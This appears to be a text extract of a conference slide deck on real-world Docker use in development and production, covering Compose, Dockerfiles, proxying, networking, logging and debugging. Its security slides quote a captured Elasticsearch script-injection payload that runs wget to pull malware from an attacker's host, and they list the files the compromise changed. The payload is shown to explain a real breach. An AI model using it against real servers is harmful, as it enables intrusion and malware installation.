real world experience of running docker in development and production

Real World Experiences of RunningDocker in Development and Production

@Ben_HallBen@BenHall.me.uk

OcelotUproar.com / Katacoda.com

@Ben_Hall / Blog.BenHall.me.uk

Tech Support > Tester > Developer > Founder

Software Development Studio

WH

O AM

I?

Agenda

• Continuous Integration and Development• Orchestration • Security• Logging and Monitoring• Debugging• Scaling

Beyond the hype. How do containers work in the real world?

doger.io

https://www.docker.com/whatisdocker/

Container

Own Process SpaceOwn Network InterfaceOwn Root Directories

Sandboxed

Like a lightweight VM. But it’s not a VM.

Container

Native CPUNative Memory

Native IO

No Pre-AllocationNo Performance Overheard

Container

Milliseconds to launch

Still fully isolated

Docker - An open platform for distributed applications for developers and sysadmins.

Got us to agree on something!

Batteries included but removable

Continuous Integration and Development

Everything is a container

New Starters

Node, Golang, Postgres and Redis

Katacoda

> docker run –p 6379:6379 redis _.-``__ ''-._ _.-`` `. `_. ''-._ Redis 3.0.3 (00000000/0) 64 bit .-`` .-```. ```\/ _.,_ ''-._ ( ' , .-` | `, ) Running in standalone mode |`-._`-...-` __...-.``-._|'` _.-'| Port: 6379 | `-._ `._ / _.-' | PID: 1 `-._ `-._ `-./ _.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | http://redis.io `-._ `-._`-.__.-'_.-' _.-' |`-._`-._ `-.__.-' _.-'_.-'| | `-._`-._ _.-'_.-' | `-._ `-._`-.__.-'_.-' _.-' `-._ `-.__.-' _.-' `-._ _.-' `-.__.-'

1:M 05 Nov 10:42:24.402 # Server started, Redis version 3.0.31:M 05 Nov 10:42:24.402 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.1:M 05 Nov 10:42:24.402 # WARNING you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix this issue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain the setting after a reboot. Redis must be restarted after THP is disabled.1:M 05 Nov 10:42:24.403 # WARNING: The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.1:M 05 Nov 10:42:24.403 * The server is now ready to accept connections on port 6379

> docker run --name db -d postgres> docker logs dbThe files belonging to this database system will be owned by user "postgres".This user must also own the server process.

The database cluster will be initialized with locale "en_US.utf8".The default database encoding has accordingly been set to "UTF8".The default text search configuration will be set to "english".

Data page checksums are disabled.

fixing permissions on existing directory /var/lib/postgresql/data ... okcreating subdirectories ... okselecting default max_connections ... 100selecting default shared_buffers ... 128MBselecting dynamic shared memory implementation ... posixcreating configuration files ... okcreating template1 database in /var/lib/postgresql/data/base/1 ... okinitializing pg_authid ... ok

Docker Compose

> cat docker-compose-dev.yml

redis: image: redis:2.8.21 ports: - 6379:6379 restart: alwaysdb: build: pg-schema # Includes Schema and migrations ports: - 5432:5432 environment: POSTGRES_PASSWORD: 'mysecretpassword' restart: always > docker-compose –f docker-compose-dev.yml up –d

Node.js> docker run -it --rm

-w /usr/app -v $(pwd):/usr/app -v $(pwd)/d_node_modules:/usr/app/node_modules -p 3000:3000

node:0.10.38bash

RStudio

> docker run -d -p 8787:8787 rocker/rstudio

> docker run --name=selenium --privileged -p 4444:4444 -p 5999:5999 -d vvoyer/docker-selenium-firefox-chrome

> cat load-test.jsfunction detectBrowser(name) { wd.remote({ host: 'b2d', desiredCapabilities: { browserName: name } }) .init() .url('http://www.whatismybrowser.com/') .getText('.string-major', function(err, text) { console.log(name + 'browser was detected as ' + text); }) .end();}

['chrome', 'firefox'].forEach(detectBrowser);

https://github.com/BenHall/docker-selenium-example

Building Images

> cat DockerfileFROM node:0.10.38

RUN mkdir -p /usr/src/appWORKDIR /usr/src/app

COPY . /usr/src/appRUN npm install

CMD [ "npm", "start" ]

> docker build –t nodeapp .

> docker run –d –p 3000 nodeapp

Order Matters

> cat DockerfileFROM node:0.10.38

RUN mkdir -p /usr/src/appWORKDIR /usr/src/app

COPY package.json /usr/src/app/RUN npm installCOPY . /usr/src/app

CMD [ "npm", "start" ]

> cat Dockerfile-onbuildFROM node:0.10.38

RUN mkdir -p /usr/src/appWORKDIR /usr/src/app

ONBUILD COPY package.json /usr/src/app/ONBUILD RUN npm installONBUILD COPY . /usr/src/app

CMD [ "npm", "start" ]

> cat DockerfileFROM node:0.10.38-onbuildEXPOSE 3000

Size Matters

> cat DockerfileFROM ocelotuproar/alphine-node:4.2.1-onbuildEXPOSE 3000

> curl https://raw.githubusercontent.com/OcelotUproar/alphine-node/master/DockerfileFROM alpine:3.2# Thanks to https://github.com/mhart/alpine-node

ENV VERSION=v4.2.1

RUN apk add --update curl make gcc g++ python linux-headers paxctl libgcc libstdc++ && \ curl -sSL https://nodejs.org/dist/${VERSION}/node-${VERSION}.tar.gz | tar -xz && \ cd /node-${VERSION} && \ ./configure --prefix=/usr && \ make -j$(grep -c ^processor /proc/cpuinfo 2>/dev/null || 1) && \ make install && \ paxctl -cm /usr/bin/node && \ cd / && \ npm install -g npm@2 && \ find /usr/lib/node_modules/npm -name test -o -name .bin -type d | xargs rm -rf; \ apk del curl make gcc g++ python linux-headers paxctl && \ rm -rf /etc/ssl /node-${VERSION} \ /usr/share/man /tmp/* /var/cache/apk/* /root/.npm /root/.node-gyp \ /usr/lib/node_modules/npm/man /usr/lib/node_modules/npm/doc /usr/lib/node_modules/npm/html

> docker images scrapbook/redis-node-docker-example 703.3 MB node:0.10.38-onbuild 702.9 MB

> docker images scrapbook/redis-node-docker-example 35.4 MB ocelotuproar/alphine-node:4.2-onbuild 35.02 MB

Go Lang Development Environment

> docker run -it --rm -w /go/src/github.com/myapp-v

$(pwd)/vendor/github.com/:/go/src/github.com/-v $(pwd):/go/src/github.com/myapp golang:1.4bash

> cat MakeFilebuild-dev copy build-release:

echo ”Building Release Image"

build-dev:docker build –f Dockerfile-dev –t warden-

dev .

copy:docker create --name tmp warden-dev docker cp tmp:/go/bin/app $(shell

pwd)/appdocker rm tmp

build-release:docker build –t ocelotuproar/warden

> cat Dockerfile-devFROM golang:latestRUN mkdir /appADD . /app/WORKDIR /appRUN CGO_ENABLED=0 GOOS=linux go build -a -installsuffix cgo -o main .CMD ["/app/main”]EXPOSE 80

> cat DockerfileFROM scratchEXPOSE 80COPY app /CMD ["/app"]

> docker imagesscrapbook/docker-http-server 528.9 MBgolang:latest 517.3 MB

> docker imagesscrapbook/docker-http-server 5.812 MB

CI becomes very simple

Exit Codes

Private Registry

Like hub.docker.com Just a container

Docker in Production

Containers can’t fix broken architectures.

But they can help…

Production isn’t special

Just another environment

ImmutableDisposable Container Pattern

Persisting Data> docker run –v <host-dir>:<container-dir> image

-v /opt/docker/elasticsearch:/data

-v /opt/docker/mysql:/var/lib/mysql

-v /docker/scrapbook/uploads:/app/public/uploads

-v $(PWD):/host

-v /var/log/syslog:/var/log/syslog

Docker Compose

> docker-compose up -d> cat docker-compose.yml

web: image: ocelotuproar/katacoda volumes: - /opt/projects/katacoda/data:/usr/src/app/data - /opt/docker/katacoda/db:/usr/src/app/ocelite-db - /var/run/docker.sock:/var/run/docker.sock ports: - 3000 environment: VIRTUAL_HOST: 'katacoda.com,*.katacoda.com' NODE_ENV: 'production’ restart: always

// Production version of docker-compose-dev.yml

> docker-compose up # Start containers–d # In background

Recreating katacoda_nginx_1...Recreating katacoda_redis_1...Recreating katacoda_db_1...Recreating katacoda_elasticsearch_1...Recreating katacoda_web_1…

> docker-compose stop # Stop containersStopping katacoda_web_1...Stopping katacoda_elasticsearch_1...Stopping katacoda_db_1...Stopping katacoda_redis_1...Stopping katacoda_nginx_1...

Sidekick Containers for backup

Pushes to DropboxCost effective

Auto Discovery is key to a good container architecture

Docker Events

Problem: Port 80

Problematic Approach

> docker run -d --name nginx_root --link blog_benhall-1:blog_benhall-1 --link katacoda-1:katacoda-1 --link scrapbook_web_1:scrapbook_web_1 --link brownbag_web_1:brownbag_web_1 -p 80:80 -v /opt/docker/nginx/www:/data -v /opt/docker/nginx/sites:/etc/nginx/sites-enabled -v /opt/docker/nginx/logs:/var/log/nginx nginx

Nginx Proxyhttps://github.com/jwilder/nginx-proxy

https://www.dropbox.com/s/2f6y2frfjafc409/nginx-proxy-optimised.gif?dl=0

• -v /var/run/docker.sock:/tmp/docker.sock

• VIRTUAL_HOST=my.container.com

Problem: Zero Downtime

Rolling Updates Node.js

> docker run –e VIRTUAL_HOST=myapp myapp:v2.0

// Make some changes

> docker build –t myapp:v2.1

> docker run –e VIRTUAL_HOST=myapp myapp:v2.1

// Load Balanced

> docker stop <container for myapp:v2.0>

Not Great.

Problem: Scaling Node.js

Using Nginx Proxy to scale Node.js

> docker-compose scale web=5

Problem: Multiple Docker Hosts

Software Defined Network

Weave> weave launch

> docker run –name ws web-server

// second host

> weave launch <host-01 ip>

> docker run --name ws -d -p 80:80 \ scrapbook/docker-http-server

> docker run ubuntu ping -c1 wsping ws.weave.local (10.0.0.1)

Weave DNS> docker run --name ws -d -p 80:80 \ scrapbook/docker-http-server> docker run --name ws -d -p 80:80 \ scrapbook/docker-http-server> docker run --name ws -d -p 80:80 \ scrapbook/docker-http-server

> docker run ubuntu ping -c1 wsping ws.weave.local (10.0.0.1)> docker run ubuntu ping -c1 wsping ws.weave.local (10.0.0.2)> docker run ubuntu ping -c1 wsping ws.weave.local (10.0.0.3)

Auto Discovery allows you to dynamically adapt your infrastructure

> docker run -d --name nginx -p 80:80 --link blog_benhall:wordpress

nginx-wordpress-example

Nginx Wordpressblog_benhall

> docker run -d –name varnish --link blog_benhall:websiteBeingCached benhall/docker-varnish

NginxVarnish

blog_benhall_varnish

Wordpressblog_benhall

> docker run -d --name nginx -p 80:80 --link varnish:wordpress

nginx-wordpress-example

Common Question: Is it secure?

Hosting provider becomes unhappy

org.elasticsearch.search.SearchParseException: [index][3]: query[ConstantScore(*:*)],from[-1],size[1]: Parse Failure [Failed to parse source [{"size":1,"query":{"filtered":{"query":{"match_all":{}}}},"script_fields":{"exp":{"script":"import java.util.*;\nimport java.io.*;\nString str = \"\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\"wget -O /tmp/xdvi http://<IP Address>:9985/xdvi\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();"}}}]]

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

C /binC /bin/netstatC /bin/psC /bin/ssC /etcC /etc/init.dA /etc/init.d/DbSecuritySptA /etc/init.d/selinuxC /etc/rc1.dA /etc/rc1.d/S97DbSecuritySptA /etc/rc1.d/S99selinuxC /etc/rc2.dA /etc/rc2.d/S97DbSecuritySptA /etc/rc2.d/S99selinuxC /etc/rc3.dA /etc/rc3.d/S97DbSecuritySptA /etc/rc3.d/S99selinuxC /etc/rc4.dA /etc/rc4.d/S97DbSecuritySptA /etc/rc4.d/S99selinuxC /etc/rc5.d

http://blog.benhall.me.uk/2015/09/what-happens-when-an-elasticsearch-container-is-hacked/

A /etc/rc5.d/S97DbSecuritySptA /etc/rc5.d/S99selinuxC /etc/sshA /etc/ssh/bfgffaA /os6A /safe64C /tmpA /tmp/.Mm2A /tmp/64A /tmp/6SxxA /tmp/6UbbA /tmp/DDos99A /tmp/cmd.nA /tmp/conf.nA /tmp/ddos8A /tmp/dp25A /tmp/frccA /tmp/gates.lodA /tmp/hkddosA /tmp/hsperfdata_rootA /tmp/linux32

A /tmp/linux64A /tmp/managerA /tmp/moni.lodA /tmp/nbA /tmp/o32A /tmp/obaA /tmp/okmlA /tmp/oniA /tmp/yn25C /usrC /usr/binA /usr/bin/.sshdA /usr/bin/dpkgdA /usr/bin/dpkgd/netstatA /usr/bin/dpkgd/psA /usr/bin/dpkgd/ss

Only as secure as the contents running in the container

Logging and Monitoring

All Stdout and StdErr logged

Logs fill disks

Docker Logging Options> docker run --log-driver=syslog redis> docker run --log-driver=none redis> docker run --log-driver=json-file \ --log-opt="" \ redis

--log-opt max-size=[0-9+][k|m|g]--log-opt max-file=[0-9+]

--log-opt max-size=50m--log-opt max-file=100

ELK + LogSpout

> docker run -d \ -p 8000:8000 \ -v /var/run/docker.sock:/tmp/docker.sock \ --name logspout \ gliderlabs/logspout:master syslog://192.168.99.100:5000

https://github.com/benhall/docker-elk

> docker run -d --restart=always # Restart if exits non-zero

redis

Health Endpoints

Debugging

> docker exec –it <container-name> bash

> docker exec -it scrapbookv2prototype_nginx_1 \ cat /etc/nginx/conf.d/default.confupstream katacoda.com {

server 172.17.0.30:3000;}server {

server_name katacoda.com;listen 80 ;access_log /var/log/nginx/access.log vhost;location / {

proxy_pass http://katacoda.com;proxy_set_header Upgrade $http_upgrade;proxy_set_header Connection "upgrade";proxy_set_header X-Forwarded-For

$proxy_add_x_forwarded_for;proxy_set_header Host $host;proxy_http_version 1.1;

}}

> docker run –it --name sysdig --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro sysdig/sysdig

Scaling

Summary

• Batteries included but removable

• Containers are a new way of thinking, embrace and extend

• New tools and approaches to solving problems

• Don’t corrupt your host. Everything as a container

Thank you!

@Ben_HallBen@BenHall.me.ukBlog.BenHall.me.uk

www.Katacoda.com